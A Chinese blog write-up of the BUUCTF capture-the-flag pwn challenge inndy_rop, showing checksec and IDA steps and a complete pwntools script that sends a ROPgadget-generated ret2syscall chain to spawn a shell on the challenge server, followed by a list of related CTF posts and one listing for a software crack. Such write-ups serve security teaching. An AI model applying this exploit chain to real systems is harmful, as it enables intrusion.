BUUCTF-PWN-inndy_rop

[BUUCTF]PWN——inndy_rop inndy_rop 附件 步骤: 例行检查,32位,开启了nx保护 本地调试运行没看出个啥,直接上ida,一开始f5会报错, 找到报错提示的位置,点击option–>general调出如图的界面,勾选上stack pointar 看到堆栈不平衡,选中报错地址的上一行,右击,点击“change stack"跳出如图界面,在sp值前加个”–“即可 然后就能f5反编译了,main里就一个overflow函数,存在溢出漏洞 右边的函数列表里只有静态编译的结果,所以这题没法去泄露libc什么的 这 阅读详情

1.checksec

2.IDA

可以栈溢出,没有system函数,使用系统调用

利用ROPgadget的功能直接利用程序中的片段拼凑rop链 

ROPgadget --binary rop --ropchain

3.EXP

from pwn import*
from struct import pack

r=remote('node4.buuoj.cn',25383)

def payload():
        p='a'*(0xc+4)
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de769) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0806c943) # int 0x80
        return p

shell = payload()
r.sendline(shell)
r.interactive()

Ropgadget中ropchain的详细分析 通常情况下,由于程序的输入长度有限制,而ROPgadget生成的ropchain过长,导致ropchain无法适用,如果能够针对ropchain进行简单的修改的话,那便能减少构建rop链花费的心思。 阅读详情

相关推荐

BUUCTF pwn水题大赏(五)

BUUCTF pwn水题大赏41.ciscn_2019_s_3 41.ciscn_2019_s_3 srop ,要注意 rsp 指向的位置。 exp: from pwn import* context.log_level = 'DEBUG' context.arch = 'amd64' p = remote('node3.buuoj.cn',29369) #p = process('./ciscn_s_3') elf = ELF('./ciscn_s_3') syscall_ret = 0x400517

o琦野o的博客 397

CTF-PWN-buuctf-not_the_same_3dsctf_2016-ROP函数返回到指定位置和ROP-chain的典型使用

CTF-PWN 来源:https://buuoj.cn/challenges 内容: 附件:链接:https://pan.baidu.com/s/1Wll80yDkRvz5XMW_xIZRNQ?pwd=uye9 提取码:uye9 答案:flag{c264d02e-6de6-4164-82a6-bdcb6c8ba64f} 总体思路 发现题目存在溢出点,并且给了flag相关的函数 但是此题是静态编译的,有很多其他不必要的函数,可以尝试直接使用ROP-chain方法get-shell 详细步骤 查看文件信

serfend's blog 1692

ROPgadget使用

需要注意的是,ROPgadget只是工具的一部分,成功的ROP攻击还需要深入理解目标二进制文件的结构和行为,以及攻击场景的具体细节。此外,随着软件安全性的提高和漏洞修复的不断进行,可用的gadgets可能会变得越来越少,因此在使用ROPgadget时,最好与其他工具和技术结合起来进行更全面的分析和利用开发。ROPgadget是一种基于代码复用技术的攻击工具,它可以帮助攻击者在二进制文件中找到可利用的代码片段(即ROP链中的gadgets),从而构建出有效的攻击载荷。是你想要分析的二进制文件的路径,

Jingged的博客 2985

inndy_rop

inndy_rop 使用checksec查看: 开启了栈不可执行,看题目,rop。 拉进IDA中看吧: 堆栈不平衡,不能看伪代码,不过没事,代码简单。 调用了一个overflow函数。跟进去查看: 一个gets()函数,溢出简单明了。 这题是一道静态编译的题目,所以不存在libc的调用了。 可以使用ROPgadget --binary inndy_rop --ropchain找到可以一键getshell的rop片段组合。 再加上偏移,即可。 exp: from pwn import * #start

m0sway的博客 729

ROP链-BUUCTF-inndy_rop(ret2syscall)

因为 pop dword ptr [ecx] 一次只能写入 4 个字节,所以我们分两次写入 /bin/sh。静态链接就意味着没法去打 ret2libc 了,因为 ret2libc 需要用到动态链接库里面的系统函数。后面就是常规的 ret2syscall 了,即系统调用 execve。既然有对 [ecx] 操作的,那么我们就继续找弹出 ecx 的指令。注意到左侧函数表有很多的函数,说明这个程序是静态链接的。找一个具有写权限的段,一般都是在 bss 段。找了一下,没有字符串 /bin/sh。

Welcome To My6n Blog 804

exrop:自动ROPChain生成

多余的 Exrop是自动ROP链生成器工具,可以根据给定的二进制文件和约束条件自动构建小工具链 要求: , 目前仅支持x86-64! 特征: 处理单向小工具(jmp reg,call reg) 设置寄存器( rdi=0xxxxxx, rsi=0xxxxxx ) 将寄存器设置为寄存器( rdi=rax ) 写给内存 将字符串/字节写入内存 函数调用( open('/etc/passwd',0) ) 函数调用中的传递寄存器( read('rax', bss, 0x100) ) 避免坏蛋 堆栈Exrop.stack_pivot ( Exrop.stack_pivot ) syscall( Exrop.syscall ) 看 安装 安装python(推荐并测试3.6) 安装triton( ),确保将-DPYTHON36=on添加为cmake选项 安装ropgadget(

buuctf-pwn-inndy_rop-wp

buuctf-pwn-innd_rop 查看文件保护 32位程序,开启了nx保护。

xuaohu123的博客 500

别再凭感觉了!手把手教你用Excel搞定激光器MPE与NOHD安全计算(附模板下载)

本文详细介绍了如何利用Excel自动化计算激光器的MPE(最大允许照射量)和NOHD(标称眼危害距离),提升激光安全评估的效率和准确性。通过实战案例和模板下载,帮助工程师快速掌握GB/T 7247标准中的关键计算,避免常见错误,适用于激光测距仪等设备的安评工作。

weixin_30954265的博客 467

BUUCTF Pwn inndy_rop WP

左边一堆函数 似乎是静态链接 右边有个gets的栈溢出漏洞。IDA32 查看函数。

qq_33348179的博客 282

VSCode + ESP-IDF 项目搭建及配置

VSCode 搭建 ESP-IDF 开发环境

weixin_51358957的博客 2万+

第四章、Isaacsim在GUI中构建机器人(3):添加摄像头和传感器

本节。

m0_47719040的博客 2495

buuctf-pwn inndy_rop题解(学习过程持续更新)

本文介绍了如何利用ROP技术完成一个32位静态链接程序的栈溢出攻击。通过分析目标文件inndy_rop,发现存在gets函数导致的栈溢出漏洞。由于是静态链接且缺少关键字符串和函数,需要手动构造execve("/bin/sh")调用。编写攻击脚本分两次构造payload:第一次调用read写入字符串,第二次构造execve系统调用。最终成功获取flag。

2501_93570847的博客 460

FM20S用户手册-PL端案例开发手册

为便于演示,本次操作直接将led_flash案例中的 "led_flash_fm20s\constraints\constrs_1Ved_flash_fm20s.fdc"文件全部代码拷贝至编辑 界面,并点击保存按钮。引脚约束请查看案例工程"led_flash\project\led_flash_fm20s\constraints\constrs_1\"目 录下的led_flash_fm20sfdc。(4)弹出如下界面,在界面配置Select device forthe project"内容,如下图。

创龙,嵌入式一体化解决方案商 401

[BUUCTF-pwn]——inndy_rop

[BUUCTF-pwn]——inndy_rop main函数无法反汇编,不过还好,里面的overflow就是gets函数,可以栈溢出。 因为懒得自己去构造rop链了,看看里面是否可以拼凑出系统的调用 里面有就省的我们自己写了 中间还找了半天错,我真是个笨蛋,以前一直用p 忘记和和构造系统调用的变量重复了,改为a就好了 exploit from pwn import * from struct import pack a = remote('node3.buuoj.cn',27139) # Padding

Y_peak的博客 511

从 on_event 到 lifespan:FastAPI 生命周期管理的旧方法与新方法对比与迁移

从 on_event 到 lifespan:FastAPI 生命周期管理的旧方法与新方法对比与迁移

XiaoqiangClub的博客 1021

【AUTOSAR-RTE】-1-聊一聊RTE(Run-Time Environment)

RTE(Run-Time Environment)是AUTOSAR ECU架构的核心。

「汽车电子助手」的博客 6502

BUUCTF pwn——inndy_rop

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 403

华为OD机试真题2025双机位C卷 C++ 实现【卡牌游戏】

小明正在尝试一种新的牌游戏。游戏规则只如下:首先,小明拿到一张写有数字m的牌。 然后,他会拿到另外n张牌,上面分别写有不同的数字,牌排成一排。小明的目标是从这排牌中找到一串连续的牌,这些牌上数字的总和可以被 m整除。你的任务是判断小明是否可以完成这个目标。

MISAYAONE的博客 281

BUUCTF--pwn--inndy_rop【ret2syscall】

BUUCTF--pwn--inndy_rop

qq_73149934的博客 518

OSPF规划两大模型:双塔奇兵、犬牙交错

大家好,今天给大家带来的是OSPF规划两大模型:双塔奇兵、犬牙交错,让我们直接开始吧! OSPF规划之双塔奇兵 说明: OSPF 如果某个区域存在两个 ABR,并且在两个 ABR 上都对 area n 内的路由做了聚合操作。 最佳配置: 两台ABR之间的红线应该使用以太网的子接口技术,一个子接口属于area0,另一个属于 area n;或者该链路规划为 area n,同时配置虚连接; ABR 的 loopback0 规划入 area 0 OSPF 规划之犬牙交错 说明: 有时接入层的设备会以乱序的

网络技术联盟站 2423

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)

由于buuctf好多pwn题目都是一个类型的,所以就把不同的,学到东西的题目,记录一下。

cainiao78777的博客 415

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

inndy-rop

其实就是直接全部使用 gadget 的 ROP,但是不得不说,确实是又学了一招。

m0_73743784的博客 626

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

[pwn]静态编译

程序在ida打开后,左侧的函数栏目没有红色(系统调用的函数),而只有一些静态函数,通常这类文件的大小会必普通的pwn题程序要大得多。这种静态编译的题没有调用库函数,也就没有使用libc,自然我们也没法泄漏libc的基地址,可以直接使用ROPgadget来搜索,利用程序中的一些指令片段,来拼凑出的效果。

yjh_fnu_ltn的博客 1024

linux 栈溢出

栈基础知识 栈结构 函数调用过程 32位为例: KaTeX parse error: No such environment: align* at position 8: \begin{̲a̲l̲i̲g̲n̲*̲}̲ & \text{push a… 函数参数传递 32位程序 普通函数传参:参数基本都压在栈上(有寄存器传参的情况,可查阅相关资料)。 syscall传参:eax对应系统调用号,ebx、ecx、edx、esi、edi、ebp分别对应前六个参数多余的参数压在栈上。 64位程序: 普

sky123博客 4675
上一篇: BUUCTF-PWN-hitcontraining_uaf
下一篇: Windows Server 20003 Enterprise Edition详细安装教程
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值